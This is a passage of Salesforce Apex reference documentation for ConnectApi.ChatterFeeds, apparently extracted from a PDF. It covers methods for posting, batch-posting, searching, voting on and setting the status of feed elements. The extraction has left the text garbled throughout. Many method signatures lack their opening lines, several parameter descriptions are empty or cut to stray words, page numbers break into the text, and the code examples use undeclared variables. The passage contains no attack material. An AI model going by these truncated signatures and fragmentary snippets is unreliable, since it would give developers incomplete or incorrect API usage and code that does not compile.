// For this feed item, we define a files capability to hold the file(s).
List<String> fileIds = new List<String>();

fileIds.add('069xx00000000QO');
fileIds.add('069xx00000000QT');
fileIds.add('069xx00000000Qn');
fileIds.add('069xx00000000Qi');
fileIds.add('069xx00000000Qd');
ConnectApi.FilesCapabilityInput filesInput = new ConnectApi.FilesCapabilityInput();

filesInput.items = new List<ConnectApi.FileIdInput>();
for (String fileId : fileIds) {

ConnectApi.FileIdInput idInput = new ConnectApi.FileIdInput();
idInput.id = fileId;
filesInput.items.add(idInput);
}

feedElementCapabilitiesInput.files = filesInput;

Example for Posting a Rich-Text Feed Element with an Inline Image

You can post rich-text feed elements with inline images and mentions two ways. Use the ConnectApiHelper repository on GitHub to
write a single line of code, or use this method example. In this example, the image file is existing content that has already been uploaded
to Salesforce. The post also includes text and a mention.
String imageId = '069D00000001INA';
String mentionedUserId = '005D0000001QNpr';
String targetUserOrGroupOrRecordId = '005D0000001Gif0';
1010








ConnectApi.ChatterFeeds.postFeedElement(communityId, input, null);
Example for Posting a Rich-Text Feed Element with a Code Block

String targetUserOrGroupOrRecordId = 'me';

1011



ConnectApi.ChatterFeeds.postFeedElement(communityId, input);
Example for Sharing a Feed Element (in Version 39.0 and Later)
textSegmentInput.text = 'Look at this post I'm sharing.';
ConnectApi.FeedEntityShareCapabilityInput shareInput = new

ConnectApi.FeedEntityShareCapabilityInput();
shareInput.feedEntityId = '0D5R0000000SEbc';
feedElementCapabilitiesInput.feedEntityShare = shareInput;
SEE ALSO:
postFeedElementBatch(communityId, feedElements)
Posts a batch of up to 500 feed elements for the cost of one DML statement.
1012
API Version
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.BatchResult[] postFeedElementBatch(String communityId,
List<ConnectApi.BatchInput> feedElements)
Parameters
communityId
Type: String
feedElements
Type: List<ConnectApi.BatchInput Class>
The list can contain up to 500 ConnectApi.BatchInput objects. In the ConnectApi.BatchInput constructor, the
input object must be a concrete instance of the abstract ConnectApi.FeedElementInput class.
Return Value
The ConnectApi.BatchResult.getResult() method returns a ConnectApi.FeedElement object.
The returned objects correspond to each of the input objects and are returned in the same order as the input objects.
The method call fails only if an error occurs that affects the entire operation (such as a parsing failure). If an individual object causes an
error, the error is embedded within the ConnectApi.BatchResult list.
Usage
Use this method to post a list of feed elements efficiently. Create a list containing up to 500 objects and insert them all for the cost of
one DML statement.
The ConnectApi.BatchInput Class has three constructors, but the postFeedElementBatch method only supports
the two listed here. It doesn’t support multiple binary inputs.
In each constructor, the input object must be an instance of ConnectApi.FeedElementInput. Pick a constructor based on
whether or not you want to pass a binary input.
• ConnectApi.BatchInput(Object input)—No binary input
• ConnectApi.BatchInput(Object input, ConnectApi.BinaryInput binary)—One binary input.
Example
This trigger bulk posts to the feeds of newly inserted accounts.
trigger postFeedItemToAccount on Account (after insert) {
1013



input.body = body;
ConnectApi.BatchInput batchInput = new ConnectApi.BatchInput(input);

}
}
postFeedItem(communityId, feedType, subjectId, text)

Posts a feed item with plain text from the context user.
API Version
28.0–31.0
Important: In version 32.0 and later, use postFeedElement(communityId, subjectId, feedElementType, text).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItem postFeedItem(String communityId, ConnectApi.FeedType
feedType, String subjectId, String text)
Parameters
communityId
Type: String
1014
feedType
One of the following:
• News
• Record
• UserProfile
Use Record to post to a group.
subjectId
Type: String
The value depends on the feedType:
• News—subjectId must be the ID of the context user or the keyword me.
• Record—The ID of any record with a feed, including groups.
• UserProfile—The ID of any user.
text
Type: String
The text of the feed item. Mentions are downgraded to plain text. To include a mention that links to the user, call the
method and pass the mention in a ConnectApi.FeedItemInput object.
Return Value
Usage
Posts to ConnectApi.FeedType.UserProfile in API versions 23.0 and 24.0 created user status updates, not feed items. For
posts to the User Profile Feed in those API versions, the character limit is 1,000 characters.

Posts a feed item to the specified feed from the context user. Use this method to post rich text, including mentions and hashtag topics,
and to attach a file to a feed item. You can also use this method to share a feed item and add a comment.
API Version
28.0–31.0
Important: In version 32.0 and later, use postFeedElement(communityId, feedElement, feedElementFileUpload).
1015
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItem postFeedItem(String communityId, ConnectApi.FeedType
feedType, String subjectId, ConnectApi.FeedItemInput feedItemInput,
ConnectApi.BinaryInput feedItemFileUpload)
Parameters
communityId
Type: String
feedType
• News
• Record
• UserProfile
To post a feed item to a group, use Record and use a group ID as the subjectId.
subjectId
Type: String
feedItemInput
Type: ConnectApi.FeedItemInput
In the FeedItemInput object, specify rich text. Optionally, in the FeedItemInput.attachment property, specify a link,
a poll, an existing file, or a new file.
feedItemFileUpload
If you specify a NewFileAttachmentInput object in the FeedItemInput.attachment property, specify the new
binary file to attach in this argument. Otherwise, do not specify a value.
Return Value
1016
Usage
Feed items and comments can contain up to 10,000 characters. Posts to ConnectApi.FeedType.UserProfile in API versions
23.0 and 24.0 created user status updates, not feed items. For posts to the User Profile Feed in those API versions, the character limit is
1,000 characters.
Example for Sharing a Feed Item and Adding a Comment

To share a feed item and add a comment, create a ConnectApi.FeedItemInput object containing the comment and the feed
item to share, and pass the object to ConnectApi.ChatterFeeds.postFeeditem in the feedItemInput argument.
The message segments in the message body input are used as the comment.
input.originalFeedItemId = '0D5D0000000JuAG';

List<ConnectApi.MessageSegmentInput> segmentList = new
List<ConnectApi.MessageSegmentInput>();
textSegment.text = 'I hope you enjoy this post I found in another group.';
segmentList.add((ConnectApi.MessageSegmentInput)textSegment);
body.messageSegments = segmentList;
input.body = body;
ConnectApi.ChatterFeeds.postFeedItem(null, ConnectApi.FeedType.UserProfile, 'me', input,

null);
Example for Posting a Mention to a User Profile Feed

To post to a user profile feed and include an @mention, call the ConnectApi.ChatterFeeds.postFeedItem method.
ConnectApi.FeedType feedType = ConnectApi.FeedType.UserProfile;

ConnectApi.MentionSegmentInput mentionSegment = new ConnectApi.MentionSegmentInput();

textSegment.text = 'Hey there ';
mentionSegment.id = '005D0000001LLO1';

textSegment.text = '. How are you?';
1017
ConnectApi.FeedItem feedItemRep = ConnectApi.ChatterFeeds.postFeedItem(communityId, feedType,

'me', input, null);
Returns the first page of all the feed elements that match the specified search criteria.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String
q)
Parameters
communityId
Type: String
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Usage
SEE ALSO:
setTestSearchFeedElements(communityId, q, result)
1018
Returns the first page of all the feed elements that match the specified search criteria in the specified order.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
q, ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
q
Type: String
sortParam
Values are:
Return Value
1019
Usage
SEE ALSO:
setTestSearchFeedElements(communityId, q, sortParam, result)

Searches feed elements and returns a specified page and page size of search results.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
q, String pageParam, Integer pageSize)
Parameters
communityId
Type: String
q
Type: String
pageParam
Type: String
pageSize
Type: Integer
1020
Return Value
Usage
SEE ALSO:
setTestSearchFeedElements(communityId, q, pageParam, pageSize, result)

Searches feed elements and returns a specified page and page size in a specified order.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
q, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
q
Type: String
pageParam
Type: String
1021
pageSize
Type: Integer
sortParam
Values are:
Return Value
Usage
SEE ALSO:
setTestSearchFeedElements(communityId, q, pageParam, pageSize, sortParam, result)
searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize,

sortParam)
Searches feed elements and returns a specified page and page size in a specified order. Each feed element includes no more than the
API Version
31.0

31.0
Requires Chatter
Yes
1022
Signature
q, Integer recentCommentCount, String pageParam, Integer pageSize,
Parameters
communityId
Type: String
q
Type: String
recentCommentCount
Type: Integer
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
Return Value
1023
Usage
SEE ALSO:
setTestSearchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam, result)
feed types.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String q)
Parameters
communityId
Type: String
feedType
The type of feed. Valid values are Company, DirectMessageModeration, Home, Moderation, and PendingReview.
q
Type: String
Return Value
1024
Usage
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, q, result)

feed types and returns a specified page and page size in a specified sort order.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
feedType
pageParam
Type: String
pageSize
Type: Integer
1025
sortParam
Values are:
q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q, result)
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, sortParam, q)
feed types and returns a specified page and page size in a specified sort order. Each feed element includes no more than the specified
number of comments.
API Version
31.0

31.0
1026
Requires Chatter
Yes
Signature
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
feedType
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1027
q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q,
result)
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, sortParam, q, filter)
Searches the feed elements for the Home feed type and returns a specified page and page size with the specified feed filter in a specified
sort order. Each feed element includes no more than the specified number of comments.
API Version
32.0

32.0
Requires Chatter
Yes
Signature
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q,
1028
Parameters
communityId
Type: String
feedType
recentCommentCount
Type: Integer
density
pageParam
Type: String
When the sortParam is MostViewed, you must pass in null for the pageParam.
pageSize
Type: Integer
When the sortParam is MostViewed, the pageSize must be a value from 1 to 25.
sortParam
Values are:
q
Type: String
1029
filter
permission.
permission.
Return Value
Usage
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q,
filter, result)

1030
API Version
31.0

31.0
Requires Chatter
Yes
Signature
ConnectApi.FeedType feedType, String subjectId, String q)
Parameters
communityId
Type: String
feedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Landing, and Streams.
subjectId
Type: String
q
Type: String
Return Value
1031
Usage
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, q, result)
searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize,

sortParam, q)
order.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
feedType
subjectId
Type: String
1032
pageParam
Type: String
pageSize
Type: Integer
sortParam
Specifies the order of feed items in the feed.
q
Type: String
Search term. Searches keywords in the user or group name. A minimum of one character is required. This parameter does not support
wildcards. This parameter is required.
Return Value
Usage
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q, result)
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam, q)
Searches the feed elements for a specified feed type and returns a specified page and page size in a specified sort order. Each feed
1033
API Version
31.0

31.0
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
1034
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, q, result)

density, pageParam, pageSize, sortParam, q, filter)
Searches the feed elements of the UserProfile feed. Use this method to filter the UserProfile feed to include only feed
elements that are scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed
elements scoped to communities have a User or a Group parent record. However, other parent record types could be scoped to
communities in the future.
1035
API Version
35.0

35.0
Requires Chatter
Yes
Signature
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedFilter filter)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
1036
sortParam
Values are:
q
Type: String
One or more keywords to search for in the feed elements visible to the context user. The search string can contain wildcards and
must contain at least two characters that aren’t wildcards. See Wildcards.
filter
future.
Return Value
Usage
SEE ALSO:
sortParam, q, filter, result)

density, pageParam, pageSize, sortParam, q, customFilter)
Searches the filtered feed elements in the case feed.
API Version
40.0
1037

40.0
Requires Chatter
Yes
Signature
ConnectApi.FeedSortOrder sortParam, String q, String customFilter)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
The ID of a case.
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
1038
Values are:
q
Type: String
customFilter
Type: String
Return Value
Usage
SEE ALSO:
sortParam, q, customFilter, result)

density, pageParam, pageSize, sortParam, q, showInternalOnly)
by internal (non-community) users only.
API Version
31.0

31.0
1039
Requires Chatter
Yes
Signature
ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1040

q
Type: String
showInternalOnly
Type: Boolean
false.
Return Value
Usage
SEE ALSO:
sortParam, q, showInternalOnly, result)

density, pageParam, pageSize, sortParam, q, showInternalOnly, filter)
by internal (non-community) users only. Specify feed filter.
API Version
32.0

32.0
Requires Chatter
Yes
1041
Signature
ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly,
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1042
q
Type: String
showInternalOnly
Type: Boolean
false.
filter
permission.
permission.
Return Value
1043
Usage
SEE ALSO:
sortParam, q, showInternalOnly, filter, result)

density, pageParam, pageSize, sortParam, q, showInternalOnly, customFilter)
Searches the filtered feed elements in a case feed, and returns a specified page and page size in a specified sort order.
API Version
40.0

40.0
Requires Chatter
Yes
Signature
ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly, String
customFilter)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
The ID of a case.
recentCommentCount
Type: Integer
1044
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
showInternalOnly
Type: Boolean
false.
filter
Type: String
Return Value
1045
Usage
SEE ALSO:
sortParam, q, showInternalOnly, customFilter, result)

Searches the feed elements of a feed filtered by key prefix.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFilterFeed(String
communityId, String subjectId, String keyPrefix, String q)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
q
Type: String
Return Value
1046
Usage
SEE ALSO:
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q, result)
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam,

pageSize, sortParam, q)
Searches the feed elements of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order.
API Version
31.0
Requires Chatter
Yes
Signature
communityId, String subjectId, String keyPrefix, String pageParam, Integer pageSize,
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
pageParam
Type: String
pageSize
Type: Integer
1047
sortParam
Values are:
q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q, result)
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount,

Searches the feed elements of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order. Each feed
API Version
31.0
Requires Chatter
Yes
1048
Signature
communityId, String subjectId, String keyPrefix, Integer recentCommentCount,
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1049
q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize,
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q).

31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q)
1050
Parameters
communityId
Type: String
q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchFeedItems(communityId, q, result)
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q, sortParam).

31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q,
1051
Parameters
communityId
Type: String
q
Type: String
sortParam
Values are:
Return Value
Usage
SEE ALSO:
setTestSearchFeedItems(communityId, q, sortParam, result)

API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q, pageParam, pageSize).
1052

31.0 only
Requires Chatter
Yes
Signature
String pageParam, Integer pageSize)
Parameters
communityId
Type: String
q
Type: String
pageParam
Type: String
pageSize
Type: Integer
Return Value
Usage
SEE ALSO:
setTestSearchFeedItems(communityId, q, pageParam, pageSize, result)

1053
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q, pageParam, pageSize, sortParam).

31.0 only
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
q
Type: String
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1054
Return Value
Usage
SEE ALSO:
setTestSearchFeedItems(communityId, q, pageParam, pageSize, sortParam, result)

API Version
29.0–31.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize,
sortParam).

31.0 only
Requires Chatter
Yes
Signature
Integer recentCommentCount, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam)
Parameters
communityId
Type: String
q
Type: String
1055
recentCommentCount
Type: Integer
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
Return Value
Usage
SEE ALSO:
setTestSearchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize, sortParam, result)
Searches the feed items for the Company, Home, and Moderation feed types.
1056
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, q).

31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, String q)
Parameters
communityId
Type: String
feedType
and PendingReview.
q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, q, result)
1057

specified sort order.
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam,
q).

31.0 only
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
feedType
and PendingReview.
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1058

q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q, result)
searchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam,

pageSize, sortParam, q)
specified sort order. Each feed item includes no more than the specified number of comments.
API Version
29.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, sortParam, q).

31.0 only
Requires Chatter
Yes
1059
Signature
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
feedType
and PendingReview.
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1060
q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, result)

API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, subjectId, q).

31.0 only
Requires Chatter
Yes
Signature
ConnectApi.FeedType feedType, String subjectId, String q)
Parameters
communityId
Type: String
1061
feedType
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feed type is UserProfile, subjectId
can be any user ID. If feedType is any other value, subjectId must be the ID of the context user or the alias me.
q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, q, result)
searchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize,

sortParam, q)
Searches the feed items for a specified feed type and user or record, and returns a specified page and page size in a specified sort order.
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize,
sortParam, q).

31.0 only
Requires Chatter
Yes
1062
Signature
Parameters
communityId
Type: String
feedType
subjectId
Type: String
pageParam
Type: String
pageSize
Type: Integer
sortParam
q
Type: String
1063
Return Value
Usage
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q, result)
searchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density,

pageParam, pageSize, sortParam, q)
Searches the feed items for a specified feed type and returns a specified page and page size in a specified sort order. Each feed item
includes no more than the specified number of comments.
API Version
29.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, q).

31.0 only
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
feedType
1064
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
1065
Return Value
Usage
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
q, result)
searchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer,

ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder, String, Boolean)
Searches the feed items for a specified feed type and user or record, and returns a specified page and page size in a specified sort order.
Each feed item includes no more than the specified number of comments. Specify whether to return feed items posted by internal
API Version
30.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, q, showInternalOnly).

31.0 only
Requires Chatter
Yes
Signature
ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly)
Parameters
communityId
Type: String
feedType
1066

subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
showInternalOnly
Type: Boolean
false.
1067
Return Value
Usage
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
q, showInternalOnly, result)

Searches the feed items of a feed filtered by key prefix.
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFilterFeed(String communityId,
String subjectId, String keyPrefix, String q)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
q
Type: String
1068
Return Value
Usage
SEE ALSO:
setTestSearchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q, result)
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize,

sortParam, q)
Searches the feed items of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order.
API Version
28.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize,
sortParam, q).
Requires Chatter
Yes
Signature
String subjectId, String keyPrefix, String pageParam, Integer pageSize,
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
1069
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId, keyPrefix, pageParam, pageSize, sortParam, q, result)
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount,

Searches the feed items of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order. Each feed
1070
API Version
29.0–31.0
Important: In version 32.0 and later, use searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount,
density, pageParam, pageSize, sortParam, q).
Requires Chatter
Yes
Signature
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String
q)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
1071
sortParam
Values are:
q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId, keyPrefix, recentCommentCount, density, pageParam,
pageSize, sortParam, q, result)
Search the Chatter feed streams for the context user.
API Version
40.0
Requires Chatter
Yes
1072
Signature
public static ConnectApi.ChatterStreamPage searchStreams(String communityId, String q)
Parameters
communityId
Type: String
q
Type: String
Return Value
Usage
SEE ALSO:
setTestSearchStreams(communityId, q, result)
Search and sort the Chatter feed streams for the context user.
API Version
40.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterStreamPage searchStreams(String communityId, String q,
ConnectApi.SortOrder sortParam)
Parameters
communityId
Type: String
1073
q
Type: String
sortParam
streams.
Return Value
Usage
SEE ALSO:
setTestSearchStreams(communityId, q, sortParam, result)

Search the Chatter feed streams for the context user and return a page of results.
API Version
40.0
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
1074

q
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
Usage
SEE ALSO:
setTestSearchStreams(communityId, q, pageParam, pageSize, result)

Search the Chatter feed streams for the context user and return a sorted page of results.
API Version
40.0
Requires Chatter
Yes
Signature
Integer pageParam, Integer pageSize, ConnectApi.SortOrder sortParam)
Parameters
communityId
Type: String
1075
q
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
sortParam
streams.
Return Value
Usage
SEE ALSO:
setTestSearchStreams(communityId, q, pageParam, pageSize, sortParam, result)
searchStreams(communityId, q, pageParam, pageSize, sortParam, globalScope) (Pilot)

Search the Chatter feed streams from all communities for the context user and return a sorted page of results.
features.
1076
API Version
41.0
Requires Chatter
Yes
Signature
Integer pageParam, Integer pageSize, ConnectApi.SortOrder sortParam, Boolean globalScope)
Parameters
communityId
Type: String
q
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
sortParam
streams.
globalScope
Type: Boolean
Tip: If you know the community ID for the streams, we recommend setting globalScope to false.
Return Value
1077
Usage
setCommentIsVerified(communityId, commentId, isVerified)

Mark a comment as verified or unverified.
API Version
41.0
Requires Chatter
Yes
Signature
public static ConnectApi.VerifiedCapability setCommentIsVerified(String communityId,
String commentId, Boolean isVerified)
Parameters
communityId
Type: String
commentId
Type: String
ID of the comment on a question post. Only one comment on a question post can be marked as verified.
isVerified
Type: Boolean
Specifies whether to mark the comment as verified (true) or unverified (false).
Only verified comments can be marked as unverified, and only unverified comments can be marked as verified.
Return Value
Type: ConnectApi.VerifiedCapability
If the comment doesn’t support this capability, the return value is ConnectApi.NotFoundException.
setCommentVote(communityId, commentId, upDownVote)

Vote a comment up or down.
API Version
41.0
1078
Requires Chatter
Yes
Signature
public static ConnectApi.UpDownVoteCapability setCommentVote(String communityId, String
commentId, ConnectApi.UpDownVoteCapabilityInput upDownVote)
Parameters
communityId
Type: String
commentId
Type: String
ID of the comment.
upDownVote
Type: ConnectApi.UpDownVoteCapabilityInput
A ConnectApi.UpDownVoteCapabilityInput object that includes your vote.
Return Value
Type: ConnectApi.UpDownVoteCapability
setFeedCommentStatus(communityId, commentId, status)

Set the status of a comment.
API Version
38.0
Requires Chatter
Yes
Signature
public static ConnectApi.StatusCapability setFeedCommentStatus(String communityId,
String commentId, ConnectApi.StatusCapabilityInput status)
Parameters
communityId
Type: String
1079
commentId
Type: String
ID of the comment.
status
Type: ConnectApi.StatusCapabilityInput
A ConnectApi.StatusCapabilityInput object that includes the status you want to set.
Return Value
Type: ConnectApi.StatusCapability
Usage
Only users with the Can Approve Feed Post and Comment permission can set the status of a feed post or comment.
setFeedElementVote(communityId, feedElementId, upDownVote)

Vote a feed element up or down.
API Version
41.0
Requires Chatter
Yes
Signature
public static ConnectApi.UpDownVoteCapability setFeedElementVote(String communityId,
String feedElementId, ConnectApi.UpDownVoteCapabilityInput upDownVote)
Parameters
communityId
Type: String
feedElementId
Type: String
upDownVote
Type: ConnectApi.UpDownVoteCapabilityInput
A ConnectApi.UpDownVoteCapabilityInput object that includes the your vote.
1080
Return Value
Type: ConnectApi.UpDownVoteCapability
setFeedEntityStatus(communityId, feedElementId, status)

Set the status of a feed post.
API Version
37.0
Requires Chatter
Yes
Signature
public static ConnectApi.StatusCapability setFeedEntityStatus(String communityId, String
feedElementId, ConnectApi.StatusCapabilityInput status)
Parameters
communityId
Type: String
feedElementId
Type: String
status
Type: ConnectApi.StatusCapabilityInput
A ConnectApi.StatusCapabilityInput object that includes the status you want to set.
Return Value
Type: ConnectApi.StatusCapability
Usage
Only users with the Can Approve Feed Post and Comment permission can set the status of a feed post or comment.

1081
API Version
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.MuteCapability setIsMutedByMe(String communityId, String
feedElementId, Boolean isMutedByMe)
Parameters
communityId
Type: String
feedElementId
Type: String
isMutedByMe
Type: Boolean
Indicates whether the feed element is muted for the context user. Default value is false.
Return Value
Type: ConnectApi.MuteCapability
setIsReadByMe(communityId, feedElementId, readBy)

Mark a feed element as read for the context user using an input body.
API Version
40.0
Requires Chatter
Yes
Signature
public static ConnectApi.ReadByCapability setIsReadByMe(String communityId, String
